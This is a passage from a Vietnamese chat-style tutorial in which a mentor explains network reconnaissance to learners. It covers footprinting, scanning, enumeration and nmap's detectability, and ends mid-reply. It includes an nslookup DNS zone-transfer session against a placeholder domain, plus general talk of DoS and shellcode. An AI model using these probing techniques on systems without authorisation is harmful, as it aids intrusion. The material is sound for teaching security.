"Hì hì, nhảy ngay vào kỹ thuật hả? Chắc em sợ mình lại 'lạc đề' sang những chuyện khác chớ gì? Đúng là những thuật ngữ em liệt kê ra ở đây đều tựu trung vào tinh thần chung: thăm dò. Reconnaissance dịch sát nghĩa là 'khai thác thông tin' và 'interrogate' và 'enumerate' dính líu trong tiến trình khai thác này. Trong đó, 'interrogate' dịch sát nghĩa là 'hạch hỏi' và 'enumerate' là 'đếm'. Nắm được những thuật ngữ này cũng có ích để hiểu sâu từng phân đoạn của quá trình thăm dò. Tuy nhiên, nếu em cảm thấy bối rối với những thuật ngữ này thì khoan hẵng tìm cách 'dịch' chúng sang tiếng Việt vì có những từ dịch không được hoặc không đủ lột tả tinh thần. Cứ tiếp nhận chúng như những thuật ngữ vậy thôi. Sau này em sẽ rõ hơn."
'ccxx' xen vào:
"Thôi để anh già và Duy đối thoại hén? Em với Hưng ngồi nghe. Có gì thắc mắc bọn em tham gia sau."
'docco' trả lời gọn lỏn:
"Ừa, vậy càng tốt. Đỡ bị loãng."
Rồi hỏi tiếp:
"Vậy tóm lại quá trình thăm dò bao gồm những bước chính nào vậy anh? Và tại sao phải thực hiện những bước này?"
Tôi đáp:
"Đáng lẽ ra anh phải hỏi em câu hỏi này để giúp em tổng hợp những gì em đã đọc. Tuy nhiên, em có vẻ khá bối rối với những thuật ngữ kia. Anh e rằng em đang rối... tùng phè lên trong đó nên để anh tóm tắt luôn vậy.
Thật ra không có một luật nào bắt buộc phải thao tác đúng từng bước để phục vụ mục đích thăm dò cả. Tùy mục tiêu và tùy khả năng phòng bị và thắt chặt của mục tiêu mà khai triển kế hoạch thăm dò cho thích hợp. Anh nghĩ mình có thể tóm gọn chúng lại thành ba phần chính:
- tìm dấu ấn (footprinting) --> xác định mục tiêu tổng quát
- rà quét (scanning) --> xác định các dịch vụ tổng quát
- lấy số liệu cụ thể (enumerating) --> thu thập thông tin cụ thể.
Em thử suy luận xem, tại sao phải tìm dấu ấn? tại sao phải rà quét và tại sao phải thu thập thông tin cụ thể?"
'docco' rụt rè:
"Dạ... em nói đại nghe? Tìm dấu ấn để xác định hệ điều hành nào mình đang đối diện nhằm thu hẹp biên độ dò tìm và khai triển bước kế tiếp được chính xác hơn. Còn rà quét thì em nghĩ... đã tiến tới một bước rất cụ thể là tìm xem có những dịch vụ nào đang được cung cấp trên mục tiêu mình muốn thăm dò để thiết lập kế hoạch thâm nhập. Còn lấy số liệu cụ thể... ùmm... à... em không biết nữa."
Tôi cười, cổ vũ 'docco':
"Em trả lời hai phần đầu vậy là súc tích và chính xác lắm rồi. Tất nhiên phần thứ ba là phần lấy kết quả, là phần kết thúc quá trình thăm dò chớ còn gì nữa em? Bước này càng cụ thể hơn bước thứ nhì là mình dùng nó để thiết lập bước thâm nhập. Vậy mình có thể thêm vào bảng liệt kê ở trên như sau:
- tìm dấu ấn (footprinting) --> xác định mục tiêu tổng quát --> thu hẹp biên độ thăm dò
- rà quét (scanning) --> xác định các dịch vụ tổng quát --> thiết lập kế hoạch thâm nhập
- lấy số liệu cụ thể (enumerating) --> thu thập thông tin cụ thể --> thiết lập bước thâm nhập
Em thấy có gì đặc biệt với bảng liệt kê này không?"
'ccxx' xen vào:
"Càng lúc càng cụ thể phải không anh?"
Tôi đáp:
"Đúng rồi đó em. Càng lúc càng cụ thể và càng cụ thể càng tốt. Thật ra 3 'bước' ở trên có thể kết hợp lại thành 1 'bước', cũng có thể tách rời ra làm 2 'bước' hoặc mở rộng ra thành... mấy chục bước. Với mục đích dò tìm thông tin thì miễn sao tìm được thông tin cụ thể và chính xác là được, không nhất thiết phải theo... 'bước'."
'cuti' thắc mắc:
"Nhưng tại sao tìm footprint lại quan trọng thế anh? Em thấy một web server apache chạy trên Windows 2000 và một web server apache chạy trên Linux đâu có khác gì đâu anh?"
Tôi đáp:
"Nếu nhìn một cách tổng quát trên phương diện người dùng thì nhận định của em không sai nhưng nếu xét cẩn thận về mặt kỹ thuật thì nhận định của em chưa.... hoàn toàn đúng. Trên phương diện người dùng, cả hai apache (em đưa ra) đều nhận request, xử lý request, đều có thể gắn với asp, jsp, php, cgi... để tạo trang động nhưng xét cho cặn kẽ thì cơ chế quản lý bộ nhớ lẫn cơ chế điều tác process trên hai hệ điều hành khác nhau rất xa. Những khác biệt này dẫn tới chiến lược phòng thủ hay tấn công rất khác nhau. Việc nhận diện dấu ấn của mục tiêu không chỉ giúp giới hạn biên độ thăm dò và khai thác mà nó còn trực tiếp ảnh hưởng đến việc:
- quyết định 'tấn công' hay 'rút lui' (nói theo phương diện tấn công) hoặc,
- quyết định 'thắt chặt thêm' hay 'xây dựng lại từ đầu' (nói theo phương diện phòng thủ)."
'cuti' vẫn thắc mắc:
"Em vẫn thấy vấn đề này hơi mù mờ đó anh. Nếu cần tấn công một webserver apache có chạy php chẳng hạn thì cũng bấy nhiêu kỹ thuật như sql inject, xss... vậy thì chạy trên Windows hay trên *nix đâu có khác gì?"
Tôi trả lời:
"Em nói đúng nhưng cái đúng này bị áp đặt trong một giới hạn khá hẹp. Tấn công và thâm nhập một dịch vụ (web chẳng hạn) không chỉ dừng lại ở sql inject và xss. Đây là những kỹ thuật phổ biến và dễ thực hiện, hơn nữa những lỗi này lại thường thấy nên thường được chú trọng. Nếu 'tấn công' chỉ dừng lại ở chỗ 'chôm' được admin password của một forum hay đưa lên một thông điệp trên một trang web để 'deface' thì mấy kỹ thuật em đề cập đã đủ dùng. Nếu thế thì phạm vi reconnaissance ở đây rất nhỏ hoặc không cần thiết nữa. Những điều anh đưa ra ở đây có thể dùng để ứng dụng nhiều khả năng và kỹ thuật thâm nhập hơn nữa, cho nên reconnaissance trở nên cần thiết. Ví dụ, em muốn chạy shellcode đến dịch vụ web của server để lấy một cái 'shell' cho mục đích thâm nhập sâu hơn nhưng không xác định chính xác hệ điều hành của mục tiêu thâm nhập là gì thì không có cách gì tạo shellcode được. Lý do, shellcode của mỗi hệ điều hành mỗi khác.
Nếu mục tiêu thâm nhập càng sâu thì quá trình reconnaisance đòi hỏi càng phải cẩn thận và chi tiết. Ngay cả những 'màn' tấn công thuộc loại 'dơ' như DoS chẳng hạn, để thực sự 'giết' mục tiêu mình muốn DoS, em phải hiểu rất rõ điểm yếu của hệ điều hành và dịch vụ đang chạy. DoS 'chết' một Windows server chạy Apache + php (dùng prefork) và không có database connection pool nhanh hơn DoS chết một Linux server chạy Apache + jsp (dùng worker) và có connection pool hẳn hòi. Những chi tiết này ở đâu ra? Đó chính là kết quả quả 'reconnaissance' đó em.
Năm ngoái, một server do anh quản lý (chạy Linux) bị mấy 'ông thần' nào đó dùng 'ping of death' để tấn công. Điều buồn cười là dạng 'ping of death' này dành cho Windows phiên bản cũ, bị lỗi ở phần giới hạn packet size của ICMP làm treo máy khi bị tấn công. Anh không hiểu sao nhóm này cứ hè nhau mà tấn công Linux server của anh bằng một thứ công cụ dành để tấn công Windows. Hơn nữa, Linux server của anh hoàn toàn cản mọi inbound ICMP và UDP. Các gói tin ICMP và UDP chỉ có thể đi vào khi chúng mang vai trò trả lời cho các request đi từ bên trong Linux server mà thôi. Điều này có nghĩa những gói ICMP họ 'tia' vào server của anh bị huỷ ngay khi đụng firewall. Vậy mà nhóm này vẫn nhắm mắt, nhắm mũi 'tia' đến mấy tiếng liên tục rồi mới chịu ngưng. Tất nhiên dạng tấn công như thế chẳng làm suy suyển server của anh mảy may nào hết. Điều đáng nói là nguồn tấn công hoàn toàn đi từ VN ra và điều đáng buồn là những 'ông thần' này không thèm tìm hiểu xem 'ping of death' là gì, thật sự đã tạo ra tác hại gì đến server của anh không. Có lẽ mấy 'ông thần' này tìm đâu ra mấy cái script viết sẵn trên Internet rồi hè nhau mà 'ria' vào server của anh chăng?"
'docco' lè lưỡi (một biểu tượng được dùng trên YIM) rồi lên tiếng:
"Ái chà, bây giờ em mới hiểu lý do tại sao reconnaissance lại quan trọng như thế. Lúc đọc tài liệu, em cứ ngỡ đây là những bước cần phải làm cho đúng nguyên tắc và chẳng thấy có phân tích mấu chốt của reconnaissance là gì hết. Em cũng có đọc sơ sơ qua về shellcoding và thấy hoàn toàn mù tịt. Còn chuyện mấy 'ông thần' tìm đồ chơi trên mạng rồi đi 'ria' là chuyện thường ngày mà anh? "
Tôi đáp:
"Anh nghĩ sách vở thường giới thiệu những điểm chung nhất và dễ tiếp nhận nhất. Sau khi thử nghiệm, tự nhiên em sẽ 'ngộ' ra lý do của từng phân đoạn trong cả một quá trình thực hiện. Những người càng kinh nghiệm về bảo mật thì bước thăm dò của họ càng chiếm nhiều thời gian. Đối với một kẻ có chủ trương 'tấn công', hắn phải dò xét hết sức cẩn thận trước khi bắt tay vào thực hiện ý định của mình để đạt được mục đích, ít tốn thời gian, ít có cơ hội bị... tóm. Cũng lắm lúc, kẻ này bỏ cuộc vì sau khi dò xét cẩn thận, hắn cảm thấy không đáng để mất thời gian. Đối với người phòng thủ, quá trình 'dò xét' lại càng khó hơn bởi vì người phòng thủ phải đặt mình vào vị trí khách quan, phải test hệ thống của mình y như một 'black box' thật sự rồi từ đó mới đi đến việc kiện toàn bảo mật."
'cuti' nhận xét:
"Nhưng làm sao mình có thể dò xét ra một server nào đó đang chạy Windows, dùng php và dùng prefork chớ không phải nó đang chạy Linux, dùng jsp và dùng worker vậy anh? Bộ 'reconnaissance' có thể cung cấp thông tin ở mức độ này luôn sao?"
Tôi cười, đáp:
"Cái này tùy vào khả năng thăm dò của em. Có nhiều yếu tố để giúp em đi đến chỗ kết luận là mục tiêu thăm dò của em có cái gì. Bởi vậy, như anh đã nói, giai đoạn reconnaissance có thể là giai đoạn mất thời gian nhất. Riêng chi tiết Windows chạy apache với php hay Linux chạy apache với jsp thì phần lớn em cần có một số kiến thức và dùng khả năng suy luận để đưa về một kết luận nào đó có lý nhất."
'cuti' càng thêm tò mò:
"Vậy có nghĩa là sao anh? anh nói sâu hơn một tí được không anh?"
Tôi đáp:
"Hèm... ok, để anh thử tóm gọn xem sao. Nếu em rành php, em hẳn biết là php trước phiên bản 5.x hoàn toàn không thread-safe. Ngay cả những người đang dùng php 5.x không không mấy ai 'dám' dùng ở chế độ 'thread-safe' cả. Nếu em dò một website và biết rằng nó chạy bằng php trên apache, em có thể đoán 99% là nó chạy ở chế độ prefork. Nếu em chịu khó dò thêm footprint của hệ điều hành và xác định được nó chạy trên Windows server thì em có thể xác định nó chạy php trên apache với chế độ prefork. Tương tự, nếu em dò một website và biết nó chạy bằng jsp, em có thể đoán 99% là nó chạy ở chế độ worker. Nếu xác định được thêm hệ điều hành là Linux thì em càng có thể khẳng định nó chạy jsp trên apache với chế độ worker. Tất nhiên, thu thập càng nhiều thông tin, càng giúp em khẳng định phỏng đoán của em chính xác và để thu thập nhiều thông tin thì 'reconnaissance' càng mất thời gian là vậy. Nên nhớ là luôn luôn có những sai số trong 'reconnaissance' vì người phòng thủ cố tình dấu footprint hoặc đánh lừa các công cụ em dùng để lấy footprint. Những sai số này càng nhiều thì kết quả càng ít đáng tin cậy."
'cuti' gật gù:
"Hoá ra đây là cả một nghệ thuật chớ chẳng đùa. Những kiến thức và kinh nghiệm cho việc xác định 'nó' chạy php hay jsp cũng đủ đã điên cái đầu rồi. Dân không đụng những chuyện này thì biết đường nào mà mò anh? Như vậy rõ ràng kiến thức có sẵn tuyệt đối quan trọng. Nếu không có thì ngay cả việc thăm dò cũng không thể được. Biết gì mà thăm dò?"
Lần này 'ccxx' góp chuyện:
"Thì bởi, em đọc những mẩu đối thoại của anh già khó tính và mấy ông tướng này, em thấy anh nhấn mạnh rất nhiều lần cái gọi là 'ngọn ngành'. Những mẩu thông tin nho nhỏ đều đi từ 'ngọn ngành' ra phải không anh?"
Tôi cười, đáp:
"Đúng đó 'công chúa xinh đẹp' . Anh có lặp đi lặp lại nhiều lần: 'muốn bảo vệ hay tấn công, mình phải nắm rõ mục tiêu' là vậy đó. 'reconnaissance' chính là bước để giúp 'nắm rõ mục tiêu' ở khuôn khổ 'blackbox' vậy."
'docco' xen vào hỏi thêm:
"Khái niệm 'blackbox' là sao anh? Với lại 'prefork' khác gì với 'worker' vậy anh?"
Tôi đáp:
"Em chưa từng nghe qua 'blackbox' và 'whitebox' sao? Sẵn đây mình nên làm quen với khái niệm này luôn. 'blackbox' chỉ cho hoàn cảnh thử nghiệm một server mình hoàn toàn không biết gì về nó; mình chỉ ở bên ngoài, chọc ngoáy nó để tìm thông tin mà thôi. Trong khi đó, 'whitebox' là một server mình nắm rõ nó có những gì, nó hoạt động ra sao và cung cấp những gì. Những công ty tư vấn về bảo mật thường thử nghiệm độ bảo mật của hệ thống theo dạng 'blackbox' là chính. Họ không biết gì về hệ thống của khách hàng cả nhưng họ vận dụng mọi phương tiện để thẩm định độ bảo mật của hệ thống này. Sau khi hoàn thành giai đoạn 'blackbox' rồi họ mới đi đến giai đoạn 'whitebox' và mới giới thiệu phương án phòng thủ. 'whitebox' test thường dùng để thử nghiệm tính năng và hoạt động của hệ thống dựa trên một số thước đo nào đó.
Riêng 'prefork' và 'worker' thì thế này. Đúng ra mình phải dùng thuật ngữ 'process' và 'thread' thì thích hợp với tinh thần mình bàn ở đây hơn. Lý do anh dùng 'prefork' và 'worker' là vì mình đang nói về webserver apache và những thuật ngữ này là những thuật ngữ của apache. 'prefork' là cơ chế xử lý request của apache bằng cách tạo process. Process thì thường nặng nề, tốn tài nguyên và kém hiệu xuất nhưng được một điểm là rất bền, ít bị sự cố. Trong khi đó, 'worker' là cơ chế xử lý request của apache bằng cách tạo thread. Thread thì nhẹ nhàng, ít hao tốn tài nguyên hơn, hiệu xuất hơn nhưng lại có nhược điểm là kém bền bỉ, dễ bị sự cố. Nói trên bình diện bảo mật và đặc biệt là tính hiệu xuất cũng nhưng tính bền bỉ của một dịch vụ, mỗi chọn lựa đều có điểm ưu và khuyết. Tuỳ nhu cầu và hoàn cảnh mà chọn cho thích hợp."
'cuti' diễu:
"He he, đừng bắt bọn em phải học kỹ về thread và process đó nha anh. Chết tụi em đó "
Tôi đáp:
"Lại 'bắt' . Anh chẳng bao giờ 'bắt' em phải làm gì cả. Đến một lúc nào đó, tự nhiên em cảm thấy cần phải hiểu về 'thread' và 'process' thì tự nhiên em tìm hiểu thôi. Lúc ấy anh có 'bắt' em không tìm hiểu cũng chả được. Nói đùa vậy thôi, nếu siêng, em nên tìm hiểu dần dần về 'thread' và 'process'. Theo anh, đây là một trong những 'đơn vị' nền tảng của những điều em đang làm quen đó."
'docco' cảm thán:
"Không ngờ từ chuyện này lại dẫn đến bao nhiêu là chuyện khác. Đúng là 'bể học mênh mông, dục tốc bất đạt' thật không sai tí nào."
Tôi cười, động viên 'docco':
"Thong thả thôi em, việc gì phải 'dục tốc' để rồi 'bất đạt'? Đừng tham quá mà đi đến chỗ 'bội thực' mà thôi."
'docco' hỏi tiếp:
"Vậy khái niệm 'active' và 'passive' recconnaissance mà anh đề cập lần trước liên quan thế nào đến 3 bước ở trên vậy anh?"
Tôi ngẫm nghĩ "chà, các 'bước' là các bước còn 'active' hay 'passive' là dạng. Làm thế nào để cu cậu đừng lẫn lộn đây nhỉ?", thế rồi tôi trả lời:
"Thế này, 'active' hay 'passive' là các dạng thăm dò, còn 3 bước ở trên là cụ thể các bước khai triển. Em có thể dùng dạng 'active' hoặc 'passive' hoặc cả hai dạng này để thực hiện 3 bước ở trên. Đây là mối liên quan mà em thắc mắc đó."
'cuti' nhanh nhảu:
"Vậy... ví dụ bước một, khi nào mình dùng 'active', khi nào mình dùng 'passive' anh?"
Tôi hỏi ngược lại:
"Vậy em còn nhớ mục đích của việc dùng 'active' và 'passive' để thăm dò không?"
'cuti' đáp:
"Dạ nhớ chớ anh. 'ative' chính xác hơn nhưng ít kín đáo hơn. 'passive' kín đáo hơn nhưng ít chính xác hơn. Nhưng ý em là trong lúc tìm footprint, khi nào thì thao tác 'passive', khi nào thì dùng 'active' đó mà."
Tôi chỉnh 'cuti' ngay vì không chịu suy nghĩ mà chỉ hỏi 'trơn':
"Em vừa trả lời ngay câu hỏi của em đó thôi. Nếu đã nắm được 'ative' chính xác hơn nhưng ít kín đáo hơn. 'passive' kín đáo hơn nhưng ít chính xác hơn thì tại sao không dùng nó mà ứng dụng? Anh nghĩ em nên động não hơn một tí đó Hưng."
'ccxx' xen vào:
"Anh nói đúng đó, ông Hưng này có cái tật dễ thì đâm lười đó anh. Anh quay ổng như 'dế' thì ổng sẽ động não thôi, đừng trả lời mọi câu hỏi của ổng là cách hay nhất. Em biết lắm mà ."
Tôi cười, đáp:
"Ừa, em mà không biết cu Hưng 'lắm' thì còn ai biết nữa em? Thôi... em 'quay nó như dế' dùm anh nha?"
'ccxx' cười thích chí:
"Hi hi hi, anh hông biết đó thôi, em quay ổng như cơm bữa mà không thì 'dễ hoá lười' liền thôi."
'docco' có vẻ bồn chồn với những đối thoại thuộc dạng chit chat, cu cậu xen vào:
"E hèm... hơi bị... lạc đề á. Anh già ơi, cho em hỏi thêm cái này nha? Có bao nhiêu cách để xác định footprint vậy anh? Em đọc sách thấy có khá nhiều công cụ, vậy theo anh mình nên dùng cái nào?"
Tôi đáp:
"Anh không thể nói rõ có bao nhiêu cách vì anh không biết thật sự có bao nhiêu cách. Cái này tùy vào tính linh động và khả năng sáng tạo thôi em. Anh cũng không thể trả lời em là nên dùng công cụ nào. Chỉ có chính em tự tay dùng rồi chọn lấy một hoặc nhiều công cụ em thích mà thôi. Có những công cụ 'gom' luôn các công đoạn xác định hệ điều hành, xác định các dịch vụ đang chạy (open ports) thậm chí lấy luôn cả phiên bản của software cung cấp dịch vụ. Tuy nhiên, công cụ nào cũng có ưu khuyết điểm cả. Ví dụ nmap là một port scanner rất độc đáo, nó có thể thực hiện ba điều ở trên cùng một lúc nhưng nếu dùng không đúng mức thì nó sẽ rất 'ồn ào' vì nó không những 'active' mà 'extremely active'. Những hệ thống có trang bị IDS, IPS sẽ phát hiện ngay là có nmap đang dò dẫm và đây là điều bất lợi cho việc thăm dò."
'docco' phát biểu:
"À, vậy nmap là công cụ thuộc dạng 'active' rồi. Em phải ghi nhớ chuyện này."
Tôi cười, nói:
"Không hẳn là như vậy đâu em. Anh nói là nếu dùng không đúng mức thì nó sẽ rất 'ồn ào' cơ mà. Nếu em dùng nó đúng mức, nó không còn 'extremely active' nữa. Nó không phải 'passive' nhưng cũng không hẳn là 'active' bởi vì em không tạo ra nhiều 'tiếng ồn' trong khi rà (nếu dùng đúng mức)."
'cuti' cảm thán:
"Chẹp... chỉ có chuyện 'rà' không mà cũng lắm nguyên tắc và công phu đến thế. Chắc lại phải học thêm nmap roài."
Tôi đáp:
"Em có vẻ bồn chồn với chuyện làm quen với những công cụ mới hay sao vậy Hưng? người ta viết hàng ngàn dòng code, xây dựng hàng trăm signature, viết manual sẵn. Em chỉ có việc đọc và dùng mà còn rên rỉ sao em? Kiểu này bắt đầu nguy rồi đó."
'cuti' đính chính lia lịa:
"Hông, hông có đâu anh. Em thức sáng đêm để quậy còn được mà. Ý em sau mỗi lần nói chuyện với anh là có thêm hàng loạt thông tin mới, cả đống công cụ mới để thử, để làm quen. Em cảm thấy có một phần sức ép nào đó để đuổi bắt với thông tin anh đưa ra thôi anh."
Tôi cười:
"Hì hì, vậy em còn muốn 'hack' không? Anh cũng cảm thấy điều đó nên mấy anh em mình 'đà khía' ít thường xuyên hơn là thế. Em không nên nghĩ và tự tạo sức ép cho mình là phải thông thạo, phải nắm vững các thông tin mới mẻ ngay lập tức. Từ từ, thong thả thôi em."
'docco' hỏi tiếp:
"Hồi nãy anh nói đến vấn đề 'ồn', ồn ở đây là những dấu hiệu mà hệ thống phát hiện phải không anh?"
Tôi đáp:
"Đúng rồi đó em. 'Ồn' ở đây chính là những thông tin được ghi nhận trong các log files của hệ thống hay các hệ thống phát hiện gần như 'real time' như IDS/IPS đó. Mỗi dạng thăm dò thường có tính chất đặc thù và những đặc thù đó được ghi nhận trên các hệ thống phòng thủ, còn gọi là 'signature'. Nếu admin của hệ thống ấy bất thình lình thấy có hàng loạt cú 'rà' trên hệ thống của mình thì coi như mục đích thăm dò và thâm nhập của ai đó bị hỏng. Nếu admin không nhận thấy những dấu hiệu này mà IDS/IPS nhận thấy thì tình hình cũng chẳng khác gì mấy. Không riêng gì nmap mà tất cả các software em dùng, cái nào cũng 'ồn' cả thôi. Chỉ có cái khác là em 'thấy' hay 'không thấy' được cái 'ồn' đó thôi . Để rà một máy con của một người đang duyệt web thì chẳng phải lo mấy đến cái 'ồn' cả vì họ hiếm khi 'thấy' được sự 'ồn' đó. Tuy nhiên, để rà và thăm dò một máy chủ, một mục tiêu đáng để thâm nhập hay đáng để bảo vệ thì mỗi chi tiết 'ồn' đều là dấu hiệu quan trọng."
'ccxx' thắc mắc:
"Để khỏi bị 'ồn', mình không cần thăm dò kỹ mà chỉ tấn công thẳng vào dịch vụ web thì sao anh?"
Tôi cười, đáp:
"Thì mình nắm phần thất bại nhiều hơn là thành công 'công chúa xinh đẹp' ạ."
'ccxx' phụng phịu:
"Ứ ừ, em hỏi thật mà anh cứ đùa hoài."
Tôi cười phá lên và tiếp tục:
"Á à, anh trả lời thật mà em cứ ngỡ anh đùa hoài. Mình tấn công thẳng vào dịch vụ web là tấn công thế nào em? Mình không nắm được nó mạnh, yếu chỗ nào thì mình chỉ 'đấm đá' kiểu 'bịt mắt' thôi thì có trúng trật vào đâu nào? Cái này cũng giống như trường hợp 'ping of death' anh nói hồi nãy thôi em. Nó cũng giống như muốn đục cánh cửa sắt của két tiền mà cứ dùng dùi đục bằng gỗ mà phang vào cửa sắt thì chừng nào thủng được cái tủ? "
'ccxx' giả lã:
"Hi hi, anh già vui tính ghê. Chắc em hỏi hơi ngớ ngẩn thật đa. Lần sau em sẽ uốn lưỡi 7 lần trước khi hỏi cho chắc ăn."
Tôi đáp:
"Không em, em cứ nói chuyện thoải mái. Có bất cứ ý nghĩ nào nảy ra trong đầu cứ phát biểu. Chuyện đúng, sai, ngớ ngẩn không quan trọng mà quan trọng ở chỗ em rút tỉa được những gì trước và sau khi đưa ra câu hỏi. Nếu em e dè quá thì cuộc đối thoại của mấy anh em mình sẽ 'khô' như rơm thôi."
'ccxx' trả lời:
"Dạ. Em cứ thế mà phang, anh chuẩn bị tinh thần đó nha."
'docco' xen vào:
"Không biết em nhận xét những cái này có đúng hông, anh xem thử nha. Ví dụ muốn khám phá các chi tiết thuộc về domain name của một host nào đó, mình có thể dùng một công cụ online để xem mà không cần tiếp xúc trực tiếp từ máy của mình đến DNS server của mục tiêu. Cái này gọi là thăm dò ở dạng 'passive' phải không anh?"
Tôi đáp:
"Đúng lắm. Nó hoàn toàn 'passive' bởi vì em chỉ 'query' thông tin một domain, một host nào đó trên một DNS database công cộng. Có thể DNS em đang query sẽ liên hệ với authoritative DNS server của mục tiêu em đang thăm dò để lấy thông tin, cũng có thể là không vì nó dùng thông tin có sẵn trong cache không chừng. Dù gì đi chăng nữa, đây vẫn là dạng 'passive' bởi vì admin cũng như hệ thống IDS của mục tiêu em muốn thăm dò đều không có cách gì biết được em đang thăm dò. Những thông tin này thường ở dạng tổng quát và dành cho công cộng. Nó cũng có ích để xác định một số điều. Tuy nhiên, để thăm dò DNS và hình thành cấu trúc mạng của mục tiêu, đôi khi em phải chuyển sang dạng thăm dò 'active'."
'docco' hỏi tiếp:
"Anh ví dụ một kiểu thăm dò DNS ở dạng 'active' được không anh?"
Tôi trả lời:
"Được chớ em. Thông thường, em dùng nslookup trên windows chẳng hạn, thì thế này:
C:>\> nslookup <server.domain.com>
Cách này query dùng default DNS server chính là DNS server nào em khai báo trên máy dùng để phân giải tên miền. DNS server này có thể là DNS riêng do em tạo ra hoặc DNS server do ISP cung cấp. Ở dạng đó, những điều được query cũng chỉ là những thông tin dành cho công cộng mà thôi (cái này còn tùy thuộc vào sự chặt chẽ của người thiết kế DNS, có những DNS chứa cả thông tin dàng cho công cộng lẫn thông tin dành riêng cho nội mạng và đây là điều nên tránh). Tuy nhiên, nếu em 'chịu khó' hơn một tí, thử như sau:
C:\> nslookup
> set type=ns
> domain.com
Server: [172.16.114.163]
Address: 172.16.114.163
domain.com nameserver = ns1.domain.com
domain.com nameserver = ns2.domain.com
ns1.domain.com internet address = 172.16.114.163
ns2.domain.com internet address = 172.17.124.174
> server ns1.domain.com
> ls -d domain.com
[[172.16.114.163]]
domain.com. SOA ns1.domain.com hostmaster.domain.com. (1098357511 16384 2048 1048576 2560)
domain.com. NS ns1.domain.com
domain.com. NS ns2.domain.com
domain.com. MX 0 mail.domain.com
www A 172.16.114.160
white A 172.16.114.161
mail A 172.16.114.162
ns1 A 172.16.114.163
ns2 A 172.17.124.174
domain.com. A 172.16.114.160
blue A 172.16.114.163
red A 172.17.124.174
domain.com. TXT "v=spf1 a mx ptr -all"
mail TXT "v=spf1 a -all"
domain.com. SOA ns1.domain.com hostmaster.domain.com. (1098357511 16384 2048 1048576 2560)
Có gì đặc biệt ở đây vậy em?"
'docco' ngần ngừ:
"Ùm... à.... hình như anh cố tình dùng chính DNS của chính mục tiêu để query phải không anh?"
Tôi đáp:
"Bravo! Đúng như thế, nó nằm ở đây:
> server ns1.domain.com
> ls -d domain.com
.
Em biết lý do tại sao không? Ngày nay, hầu hết các authoritative DNS đều không cho 'zone transfer' một cách rộng rãi nữa vì quá nguy hại. Tuy nhiên, vẫn có các DNS server cho phép những DNS server được 'tin cậy' thực hiện 'zone transfer'. Bởi thế, mình mới 'láu cá' bằng cách mượn tay DNS server được 'tin cậy' để query thông tin cho mình . Nên nhớ là có những DNS server (primary và secondary) hiện nay không còn cho phép thực hiện bước ở trên nữa vì họ không cho 'zone transfer' ngay cả giữa primary và secondary."
'cuti' thắc mắc:
"Query DNS có gì mà quan trọng đến thế hở anh? Nãy giờ em ráng theo dõi nhưng bắt đầu bị ù ù cạc cạc rồi đó. Có nhiều thông tin hoàn toàn mới mẻ đối với em cho nên tóm gọn lại, em không rõ tại sao phải thu thập những thông tin này và để có thể thu thập thông tin thì phải nắm bao nhiêu là kiến thức "
'ccxx' xen vào:
"Trong khi anh nói, em cũng thử và thấy quả thật mình có thể thâu thập khá nhiều thông tin qua DNS. Có khi query được, có khi không. Hình như mình có thể xác định một cách tổng quát có bao nhiêu servers trong mô hình mạng mình muốn thăm dò. Em chưa rõ bước kế tiếp thế nào nhưng em hình dung mình sẽ làm gì đó với những thông tin thu thập được. Có thể dùng để phác thảo một mô hình mạng chăng?"
Tôi cười, đáp:
"Công chúa nhận xét đúng lắm. Tất nhiên là mọi thông tin đều cần thiết cả, nếu không mình mất thời gian với chúng làm gì? Để hình thành mô hình mạng của mục tiêu mình muốn thăm dò, việc thăm dò DNS chỉ cung cấp một phần thông tin mà thôi. Em cần phải kết hợp với một số thông tin khác nữa. Cái này mình sẽ bàn sau. Anh lấy ví dụ đơn giản thế này nha. Giả sử em muốn tấn công một host X nhưng host này 'thủ' chặt quá. Thông thường thì em bó tay và bỏ cuộc. Tuy nhiên, nếu em thăm dò rộng ra (bằng cách hình thành mô hình mạng) thì thấy rằng host X nằm trong một nhóm host khác và một vài host ấy có thể thâm nhập được. Nếu thâm nhập được một trong các host này thì cơ hội 'nhảy' sang host X thành công cao hơn.
Cho dù em không thể thâm nhập bất cứ host nào đi chăng nữa nhưng qua thông tin dò xét và thu thập được trong quá trình recconnaissance, em có thể đi đến kết luận là nên tiếp tục hay nên bỏ cuộc (để đỡ tốn thời gian). Nếu thấy mô hình mạng chặt chẽ quá, thấy có firewall vững vàng, cách tốt nhất là bỏ cuộc để đỡ mất thời gian. Thật ra, nếu đã thông thạo thì việc dò tìm thông tin xuyên qua DNS không mất quá nhiều thời gian đâu. Đây chỉ là một bước rất nhỏ trong quá trình thăm dò. Vấn đề mình bàn ở đây là để nhấn mạnh một điều quan trọng: tìm thông tin có rất nhiều cách, cách nào nhanh nhất, có thông tin cụ thể nhất thì đó là cách thích hợp nhất."
'docco' cảm thán:
"Không ngờ bên trong recconnaissance đã có những điều lý thú đến như thế. Em định hỏi thêm anh một số chi tiết về kết quả lấy được ở trên nhưng chợt nhớ ask me why, don't ask me what nên em đã ghi chú một loạt thông tin mà em cần phải tìm hiểu chi tiết sau. Cũng như Hưng, em bắt đầu thấy lùng bùng rồi đó anh. Như anh nói, vậy là recconnaissance cũng sẽ dính với chuyện dò dẫm cả firewall luôn sao anh? và đối với người phòng thủ thì nên làm thế nào? Về việc anh đề cập tới host X ở trên, hình như anh muốn nói đến khía cạnh kiện toàn bảo mật?"
Tôi trả lời:
"Chuyện dò dẫm firewall là chuyện không thể thiếu nếu như firewall nằm trên đường thâm nhập rồi đó em. Thong thả rồi mình sẽ bàn các chi tiết này sau, không thì em càng lùng bùng nữa. Chuyện phòng thủ thì mình cũng sẽ bàn sau khi em đã 'thông' những chi tiết mình vừa 'đà khía'. Nên nhớ rằng, 'thủ' ở đây là thực sự phòng thủ chớ không phải là những kỹ thuật nho nhỏ dùng để dấu footprint không thôi nha. Mình sẽ đào sâu từ từ những chuyện này (nếu bọn em còn hứng thú )."
'cuti' lên tiếng ngay lập tức:
"Làm sao mà không còn hứng thú được anh? Những thông tin này là tổng hợp của bao nhiêu điều lý thú. Chắc em sẽ không bao giờ thâm nhập ai nhưng những kiến thức này chắc sẽ ích lợi trong công việc về sau. Anh đừng lo tụi em hết hứng thú "
'docco' cũng chêm thêm:
"Hay là anh .... nản thì có. Nói chuyện với bọn em cái gì anh cũng phải giải thích. Gặp em, chắc em nản từ lâu rồi."
Tôi đáp:
